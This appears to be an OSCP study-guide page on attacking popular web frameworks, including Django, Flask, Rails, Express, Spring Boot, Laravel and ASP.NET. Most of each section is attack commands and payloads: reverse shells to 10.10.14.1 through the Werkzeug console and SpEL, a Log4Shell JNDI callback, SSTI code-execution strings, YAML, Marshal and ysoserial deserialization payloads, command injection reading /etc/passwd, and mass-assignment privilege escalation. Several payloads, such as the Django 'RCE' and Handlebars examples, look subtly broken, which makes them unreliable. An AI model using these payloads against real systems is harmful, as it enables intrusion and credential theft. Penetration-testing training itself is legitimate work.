Domain 2Web App AttacksCORE

Web Application Frameworks

Popular web application frameworks (Django, Rails, Express, Spring Boot) with framework-specific vulnerabilities, enumeration targets, and exploitation techniques for OSCP.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#django#rails#express#spring-boot#frameworks#oscp

Web Application Frameworks

Overview

Web application frameworks provide structure and common patterns for building web applications. Each framework has its own set of default behaviors, common misconfigurations, and framework-specific vulnerabilities. Understanding these patterns is crucial for OSCP exam success, as many lab machines use popular frameworks with default or insecure configurations.


Framework Enumeration Strategy

Before diving into specific frameworks, establish a systematic enumeration approach:

Step 1: Technology Detection

# Use whatweb for technology detection
whatweb http://target

# Use Wappalyzer via browser extension
# Or use builtwith
builtwith http://target

# Check response headers
curl -I http://target
# Look for: X-Powered-By, Server, Set-Cookie patterns

# Check common framework paths
curl -s http://target/admin/
curl -s http://target/rails/info
curl -s http://target/actuator/health

Step 2: Framework-Specific Enumeration

Once you identify the framework, enumerate its specific attack surface.


Django

Django is a Python web framework following the MTV (Model-Template-Views) pattern. It’s common in OSCP labs running Python applications.

Django Architecture

URL Router (urls.py)
    ↓
Views (views.py)
    ↓
Models (models.py) → Database
    ↓
Templates (.html) → Response

Django Enumeration Targets

# Admin panel
http://target/admin/
http://target/admin/login/

# Static and media files
http://target/static/
http://target/media/

# Environment and configuration
http://target/.env
http://target/manage.py
http://target/settings.py

# Debug pages (if debug=True)
http://target/nonexistent-path/  # Triggers debug error page

# API endpoints
http://target/api/
http://target/api/v1/

# Common Django paths
http://target/robots.txt
http://target/sitemap.xml
http://target/.git/

Django Admin Panel

The Django admin is a common entry point in OSCP labs.

Default Credentials

# Common default admin credentials
admin:admin
admin:password
admin:django
root:root
administrator:administrator

Admin Panel Exploitation

# Try to access admin
curl -s http://target/admin/

# If accessible, try default credentials
# If debug mode is on, the error page may reveal:
# - Database type and name
# - Settings file location
# - Installed apps
# - Secret key (sometimes)

Django Debug Mode Exposure

When DEBUG=True, Django reveals extensive information.

Information Leaked in Debug Mode

- Full stack traces
- Database configuration (engine, name, user, password, host)
- Settings file path
- Installed applications
- Middleware configuration
- Template directories
- Environment variables (sometimes)
- Secret key (in some configurations)

Triggering Debug Pages

# Access non-existent URLs
curl http://target/nonexistent/
curl http://target/admin/nonexistent/

# Trigger template errors
curl http://target/?template=nonexistent

# Trigger database errors
curl "http://target/search?q=' OR 1=1--"

Django SSTI

Django templates can be vulnerable to Server-Side Template Injection.

Detection

# Basic test
{{7*7}}           # Returns 49 if vulnerable

# Access built-in variables
{{request}}
{{request.GET}}
{{request.META}}

Exploitation

# Access settings
{{request.settings}}

# Access environment variables
{{request.META.items}}

# Template filter abuse
{{7|cut:"0"}}     # Returns 7 (filter execution)

# Access Python objects
{{''.__class__.__mro__[1].__subclasses__()}}

# RCE via template injection
{% load log %}
{% get_admin_log 10 as log %}
{{ log.0.action_flag|cut:'0' }}

Django Path Traversal

# Vulnerable view
from django.shortcuts import render
def view_file(request):
    filename = request.GET.get('file')
    return render(request, f'templates/{filename}.html')

# Exploitation
http://target/view?file=../../etc/passwd
http://target/view?file=..%2f..%2f..%2fetc%2fpasswd

Django SSRF

# Vulnerable view
import requests
def fetch_url(request):
    url = request.GET.get('url')
    response = requests.get(url)
    return HttpResponse(response.text)

# Exploitation
http://target/fetch?url=http://169.254.169.254/latest/meta-data/
http://target/fetch?url=http://localhost:8000/admin/
http://target/fetch?url=file:///etc/passwd

Django Raw SQL Injection

# Vulnerable code
from django.db import connection
def search(request):
    query = request.GET.get('q')
    with connection.cursor() as cursor:
        cursor.execute(f"SELECT * FROM products WHERE name LIKE '%{query}%'")
        results = cursor.fetchall()
    return render(request, 'results.html', {'results': results})

# Exploitation
http://target/search?q=' UNION SELECT username,password,email FROM auth_user--

Flask

Flask is a lightweight Python microframework. It’s extremely common in OSCP labs.

Flask Enumeration Targets

# Debug console
http://target/?__debugger__=yes

# Flask specific paths
http://target/static/
http://target/templates/
http://target/.env
http://target/config.py
http://target/app.py
http://target/wsgi.py

# Common Flask extensions
http://target/admin/
http://target/login/
http://target/api/

Flask Debug Mode RCE

Flask’s debug mode includes an interactive debugger that can be exploited.

Werkzeug Debugger Exploitation

# Step 1: Confirm debug mode is enabled
# Look for the debugger console in error pages

# Step 2: Find the PIN
# The PIN is displayed in the console when the server starts
# Or found in error pages

# Step 3: Authenticate and execute code
http://target/?__debugger__=yes&cmd=command&s=PIN&expr=__import__('os').system('whoami')

PIN Discovery

# The PIN is composed of:
# 1. Module name (usually 'flask.app')
# 2. Machine name
# 3. User name (usually 'www-data' or 'ubuntu')
# 4. A secret key (from config or generated)

# Try to find the PIN in:
# - Error pages
# - Server startup logs
# - /proc/*/cmdline
# - Environment variables

# Brute force the PIN (6 digits)
python3 -c "
import itertools
import string
for pin in itertools.product(string.digits, repeat=6):
    pin_str = ''.join(pin)
    # Test PIN
    print(f'Trying PIN: {pin_str}')
"

Werkzeug Console Payloads

# Basic command execution
__import__('os').system('whoami')

# Reverse shell
__import__('os').system('bash -i >& /dev/tcp/10.10.14.1/9001 0>&1')

# Read files
open('/etc/passwd').read()

# List files
__import__('os').listdir('/var/www/')

# Write files
open('/tmp/shell.py', 'w').write('import os; os.system("whoami")')

Flask Missing Security Defaults

Flask doesn’t enable many security features by default:

# Missing by default:
# - CSRF protection (need Flask-WTF)
# - Secure cookie flags
# - Content Security Policy
# - Rate limiting
# - Input validation

# Exploit missing CSRF
# Craft POST requests without CSRF token
curl -X POST http://target/change-email \
  -d "email=hacker@evil.com"

# Exploit missing secure flags
# Cookies may be accessible via XSS
document.cookie

Ruby on Rails

Ruby on Rails (RoR) is a full-stack framework following the MVC pattern.

Rails Enumeration Targets

# Rails info endpoints
http://target/rails/info
http://target/rails/health
http://target/rails/mailers

# Configuration files
http://target/config/master.key
http://target/config/credentials.yml.enc
http://target/config/secrets.yml
http://target/.env
http://target/.env.production
http://target/.env.development

# Common Rails paths
http://target/assets/
http://target/public/
http://target/storage/
http://target/tmp/

# Admin and API
http://target/admin/
http://target/api/v1/

Rails Mass Assignment

Mass assignment allows setting model attributes through user input.

Vulnerable Code

# VULNERABLE - Rails < 4
class UsersController < ApplicationController
  def update
    @user = User.find(params[:id])
    @user.update(params[:user])  # Mass assignment!
  end
end

Exploitation

# Promote to admin
curl -X PATCH http://target/users/1 \
  -H "Content-Type: application/json" \
  -d '{"user": {"name": "hacker", "admin": true}}'

# Common attributes to target:
# - admin, is_admin, role
# - email (for account takeover)
# - password, password_digest
# - credit_card, balance

Protection Bypass

# Even with attr_protected/attr_accessible, try:
# 1. Virtual attributes
# 2. Association updates
# 3. Callback bypass

# Example: Update via association
curl -X PATCH http://target/users/1 \
  -d '{"user": {"profile_attributes": {"admin": true}}}'

Rails YAML/Marshal Deserialization

YAML Deserialization

# Vulnerable code
require 'yaml'
obj = YAML.load(params[:data])  # VULNERABLE

Exploit Payload

---
!ruby/object:Gem::Installer
    i: x
!ruby/object:Gem::SpecFetcher
    i: y
!ruby/object:Gem::Requirement
  requirements:
    "= 0": !ruby/object:Gem::Version
      version: !ruby/object:Gem::Source
        remote_uri: &1 !ruby/object:URI::HTTPS
          uri:
            scheme: https
            host: attacker.com
            port: 443

Marshal Deserialization

# Vulnerable code
obj = Marshal.load(params[:data])  # VULNERABLE

# Exploit
class Exploit
  def initialize
    system('whoami')
  end
end

payload = Marshal.dump(Exploit.new)

Rails Sprockets Path Traversal

Sprockets is Rails’ asset pipeline. It can be vulnerable to path traversal.

# Exploitation
http://target/assets/../../../../etc/passwd
http://target/assets/file:///etc/passwd

# Common asset paths to check
http://target/assets/application.js
http://target/assets/application.css
http://target/assets/.git/config

Rails Secret Key Exposure

The secret key base is used for signing cookies and tokens.

# Locations to check
http://target/config/master.key
http://target/.credentials
http://target/config/secrets.yml

# If found, you can:
# 1. Forge signed cookies
# 2. Bypass authentication
# 3. Access protected endpoints

# Forge session cookie
python3 -c "
import base64
import hmac
import hashlib

secret = 'found_secret_key'
data = 'session_data_here'
digest = hmac.new(secret.encode(), data.encode(), hashlib.sha256).hexdigest()
print(f'{digest}-{data}')
"

Rails CSRF Bypass

# Rails uses authenticity tokens for CSRF protection
# Bypass methods:

# 1. API endpoints often lack CSRF protection
curl -X POST http://target/api/users \
  -H "Content-Type: application/json" \
  -d '{"email": "hacker@evil.com"}'

# 2. Non-browser requests may skip CSRF
# 3. XML/JSON requests may bypass token check

Express.js

Express is the most popular Node.js web framework.

Express Enumeration Targets

# Common Express paths
http://target/api/
http://target/api/v1/
http://target/docs/
http://target/swagger/
http://target/health
http://target/status

# Configuration files
http://target/.env
http://target/.env.local
http://target/config.json
http://target/package.json
http://target/server.js
http://target/app.js

# Node.js specific
http://target/node_modules/
http://target/.npmrc

Express Missing Middleware

Express doesn’t include security middleware by default.

Common Missing Middleware

// Often missing in vulnerable apps:
// - helmet (security headers)
// - csurf (CSRF protection)
// - rate-limiting
// - input validation
// - CORS configuration

// Exploit missing helmet
// - X-Frame-Options not set → Clickjacking
// - X-Content-Type-Options not set → MIME sniffing
// - CSP not set → XSS easier

// Exploit missing CORS
curl -X OPTIONS http://target/api/data \
  -H "Origin: http://evil.com" \
  -H "Access-Control-Request-Method: POST"

Express Prototype Pollution

// Vulnerable merge function
function merge(target, source) {
  for (let key in source) {
    if (key in source && key in target) {
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];  // VULNERABLE
    }
  }
}

// Exploitation via JSON
{
  "__proto__": {
    "isAdmin": true,
    "role": "admin"
  }
}

// Via query parameters
?__proto__[isAdmin]=true
?constructor[prototype][isAdmin]=true

Express SSTI via EJS/Handlebars

EJS Injection

<!-- Vulnerable template -->
<%= user_input %>

<!-- Exploitation -->
<%= global.process.mainModule.require('child_process').execSync('id').toString() %>

<!-- Alternative -->
<%=.constructor('return process')().mainModule.require('child_process').execSync('id') %>

Handlebars Injection

{{#with "constructor" as string}}{{split string this}[7]}}{{/with}}

{{#with "a"}}{{#with "a"}}{{#with "a"}}{{#with "a"}}{{#with "a"}}
{{#with "return unescape(require('child_process').exec('id'))"}}
{{constructor.constructor constructor}}
{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}

Express Command Injection

// Vulnerable code
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
  exec(`ping ${req.query.ip}`, (err, stdout) => {
    res.send(stdout);
  });
});

// Exploitation
http://target/ping?ip=127.0.0.1;cat /etc/passwd
http://target/ping?ip=127.0.0.1|whoami
http://target/ping?ip=\$(cat /etc/passwd)

Express Dependency Vulnerabilities

# Check for vulnerable dependencies
npm audit

# Common vulnerable packages in OSCP labs:
# - lodash (< 4.17.21) - Prototype pollution
# - express (< 4.17.3) - Open redirect
# - minimist (< 1.2.6) - Prototype pollution
# - hosted-git-info (< 3.0.8) - ReDoS

# Exploit lodash prototype pollution
{
  "__proto__": {
    "exec": "child_process"
  }
}

Spring Boot

Spring Boot is the dominant Java web framework in enterprise environments.

Spring Boot Enumeration Targets

# Actuator endpoints (CRITICAL)
http://target/actuator/
http://target/actuator/env
http://target/actuator/health
http://target/actuator/heapdump
http://target/actuator/logfile
http://target/actuator/threaddump
http://target/actuator/mappings
http://target/actuator/configprops
http://target/actuator beans
http://target/actuator/httptrace
http://target/actuator/metrics

# Legacy actuator paths
http://target/env
http://target/health
http://target/info
http://target/dump
http://target/metrics

# Common Spring paths
http://target/swagger-ui.html
http://target/swagger-ui/
http://target/v2/api-docs
http://target/v3/api-docs
http://target/api-docs

# Configuration
http://target/application.yml
http://target/application.properties
http://target/.env

Spring Boot Actuator Exploitation

/actuator/env

The env endpoint exposes environment variables and configuration properties.

# Access environment variables
curl http://target/actuator/env

# Look for:
# - Database credentials
# - API keys
# - AWS credentials
# - JWT secrets
# - SMTP credentials
# - Custom properties

# Filter specific properties
curl http://target/actuator/env/DB_PASSWORD
curl http://target/actuator/env/Spring.security.user.password

/actuator/heapdump

Heap dumps may contain sensitive data.

# Download heap dump
curl http://target/actuator/heapdump -o heapdump.hprof

# Analyze heap dump
# 1. Search for passwords/credentials
strings heapdump.hprof | grep -i password
strings heapdump.hprof | grep -i secret
strings heapdump.hprof | grep -i key

# 2. Use MAT (Memory Analyzer Tool)
# 3. Use jhat
jhat heapdump.hprof -port 9999
# Browse to http://localhost:9999

/actuator/logfile

# Read application logs
curl http://target/actuator/logfile

# May contain:
# - SQL queries
# - User inputs
# - Error messages with stack traces
# - Authentication attempts

Spring Boot SpEL Injection

Spring Expression Language (SpEL) injection allows arbitrary code execution.

Detection

# Basic SpEL test
\${T(java.lang.Runtime).getRuntime().exec('whoami')}
\${7*7}

# In various contexts
http://target/search?q=\${7*7}
Cookie: session=\${7*7}

Exploitation

# Command execution
\${T(java.lang.Runtime).getRuntime().exec('whoami')}

# Read files
\${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}

# Reverse shell
\${T(java.lang.Runtime).getRuntime().exec('bash -c \"bash -i >& /dev/tcp/10.10.14.1/9001 0>&1\"')}

# Via Thymeleaf
${T(java.lang.Runtime).getRuntime().exec('whoami')}

# Via JSP
${T(java.lang.Runtime).getRuntime().exec('whoami')}

Spring Boot Deserialization

Spring Boot applications may be vulnerable to Java deserialization.

Common Entry Points

- @RestController with Object parameters
- @RequestBody with deserialized objects
- Session deserialization
- Cache deserialization (Spring Cache)
- Message deserialization (Spring AMQP, Spring Kafka)

Exploitation with ysoserial

# Generate payload
java -jar ysoserial.jar Spring1 "whoami" > payload.bin
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# Send via HTTP
curl -X POST http://target/api/data \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

# Via cookie
curl -b "JSESSIONID=$(base64 < payload.bin)" http://target/

Spring Boot Log4Shell

Spring Boot applications using Log4j 2 are vulnerable to Log4Shell.

# Test for Log4Shell
curl -H "User-Agent: \${jndi:ldap://10.10.14.1:1389/exploit}" http://target/

# Check DNS lookup
# Or use JNDI exploit server
java -cp jndi-exploit.jar JndiExploitServer -i 10.10.14.1 -p 8888

Spring Boot CORS Misconfiguration

// Vulnerable configuration
@Configuration
public class CorsConfig {
    @Bean
    public CorsFilter corsFilter() {
        CorsConfiguration config = new CorsConfiguration();
        config.setAllowedOrigins(Collections.singletonList("*"));  // VULNERABLE
        config.setAllowedMethods(Arrays.asList("GET", "POST", "PUT", "DELETE"));
        config.setAllowCredentials(true);
        // ...
    }
}

// Exploitation
# Access protected endpoints from any origin
# Steal credentials via CORS

Laravel

Laravel is a popular PHP framework following the MVC pattern.

Laravel Enumeration Targets

# Common Laravel paths
http://target/storage/
http://target/storage/logs/laravel.log
http://target/server.php
http://target/.env
http://target/artisan
http://target/storage/framework/sessions/
http://target/storage/framework/views/

# API and admin
http://target/api/
http://target/admin/
http://target/login
http://target/register

Laravel Debug Mode Info Leak

# Trigger debug error
curl http://target/nonexistent-path

# Debug mode reveals:
# - Full stack trace
# - Database configuration
# - Environment variables
# - Application path
# - Installed packages

Laravel Mass Assignment

// Vulnerable code
class UserController extends Controller
{
    public function update(Request $request, User $user)
    {
        $user->update($request->all());  // VULNERABLE
    }
}

// Exploitation
curl -X PATCH http://target/users/1 \
  -H "Content-Type: application/json" \
  -d '{"name": "hacker", "is_admin": true}'

Laravel Storage Path Traversal

// Vulnerable code
public function download(Request $request)
{
    $file = $request->get('file');
    return response()->download(storage_path("app/{$file}"));
}

// Exploitation
http://target/download?file=../../.env
http://target/download?file=../../../etc/passwd

ASP.NET MVC

ASP.NET MVC appears in Windows-based OSCP labs.

ASP.NET Enumeration Targets

# Configuration files
http://target/web.config
http://target/web.config.bak
http://target/.config

# Common paths
http://target/manager/
http://target/admin/
http://target/trace.axd
http://target/server-status

# ASP.NET specific
http://target/WebResource.axd
http://target/ScriptResource.axd
http://target/elmah.axd

ASP.NET ViewState Deserialization

ViewState stores state between postbacks and can be vulnerable to deserialization attacks.

Detection

# Check for ViewState in page source
grep -i "__VIEWSTATE" page.html

# Check ViewState settings
# lookFor:
# - ViewStateUserKey (if missing, more vulnerable)
# - EnableViewStateMac (if false, can modify ViewState)

Exploitation

# Use viewstatehunter or similar tools
# 1. Extract ViewState key from page
# 2. Generate malicious ViewState
# 3. Submit modified ViewState

# Example with ysoserial
java -jar ysoserial.exe -g ObjectDataProvider -fLOS -c "calc.exe" -t

# Modify the ViewState field in the POST request

ASP.NET CSRF

ASP.NET MVC has built-in CSRF protection, but it can be bypassed.

// Missing [ValidateAntiForgeryToken] on action
[HttpPost]
public ActionResult ChangeEmail(string email)  // VULNERABLE
{
    // ...
}

// Exploitation
# Craft POST request without anti-forgery token
curl -X POST http://target/account/change-email \
  -d "email=hacker@evil.com"

web.config Exposure

<!-- web.config may contain: -->
<!-- - Database connection strings -->
<!-- - API keys -->
<!-- - SMTP credentials -->
<!-- - Application settings -->

<!-- Access -->
curl http://target/web.config

Framework Comparison Matrix

Framework Language Common Vulns Key Endpoints RCE Path
Django Python SQLi, SSTI, SSRF /admin/ Debug page → Python
Flask Python Debug RCE, SSTI /debug Werkzeug console
Rails Ruby Mass assignment, Deserialization /rails/info YAML deserialization
Express Node.js Prototype pollution, SSTI /api/ child_process
Spring Boot Java Actuator exposure, SpEL /actuator/* SpEL/Deserialization
Laravel PHP Debug leak, Mass assignment /.env PHP execution
ASP.NET C# ViewState, CSRF /web.config ViewState deserialization

Framework Detection Cheat Sheet

# Django
# - /admin/ returns Django admin
# - Error pages show Django traceback
# - Cookies start with "sessionid"
# - Headers may show "django"

# Flask
# - Debug console in error pages
# - Cookies start with "session"
# - Werkzeug server header

# Rails
# - /rails/info exists
# - Cookies contain "_app_session"
# - Request-ID header
# - Turbolinks in source

# Express
# - X-Powered-By: Express
# - Cookies contain "connect.sid"
# - JavaScript-heavy responses

# Spring Boot
# - /actuator endpoints
# - X-Application-Context header
# - Whitelabel Error Page

# Laravel
# - /storage/ accessible
# - Cookies contain "laravel_session"
# - Pretty URLs with no index.php

# ASP.NET
# - .aspx, .asmx extensions
# - ASP.NET version header
# - __VIEWSTATE in forms

Key Takeaways

  • Always enumerate framework-specific paths — they often lead directly to sensitive information
  • Debug modes are goldmines — they expose configuration, credentials, and stack traces
  • Actuator endpoints in Spring Boot can provide full application compromise
  • Flask debug console provides direct Python code execution
  • Rails mass assignment is a simple but effective privilege escalation
  • Express prototype pollution can bypass authentication and authorization
  • Laravel .env files often contain database credentials and API keys
  • ASP.NET ViewState can lead to deserialization RCE

Exam Tips

  • When you see a web app, immediately check for:

    1. /admin — Django admin, generic admin panels
    2. /actuator — Spring Boot endpoints
    3. /.env — Environment variables with credentials
    4. /debug — Flask debug console
    5. /rails/info — Rails information
    6. /storage/logs — Laravel log files
    7. /web.config — ASP.NET configuration
  • Look for technology disclosure in:

    • Response headers (X-Powered-By, Server)
    • HTML source comments
    • JavaScript files
    • Cookie names and formats
    • Error messages
  • Framework-specific tools:

    • Django: Check for exposed admin and debug pages
    • Flask: Look for Werkzeug debugger PIN
    • Rails: Try mass assignment on update endpoints
    • Express: Test for prototype pollution
    • Spring Boot: Enumerate all actuator endpoints
    • Laravel: Check storage directory and .env
    • ASP.NET: Analyze ViewState for deserialization
  • Document the framework you identify — it guides your attack strategy

  • Framework defaults often differ from secure configurations — exploit the gaps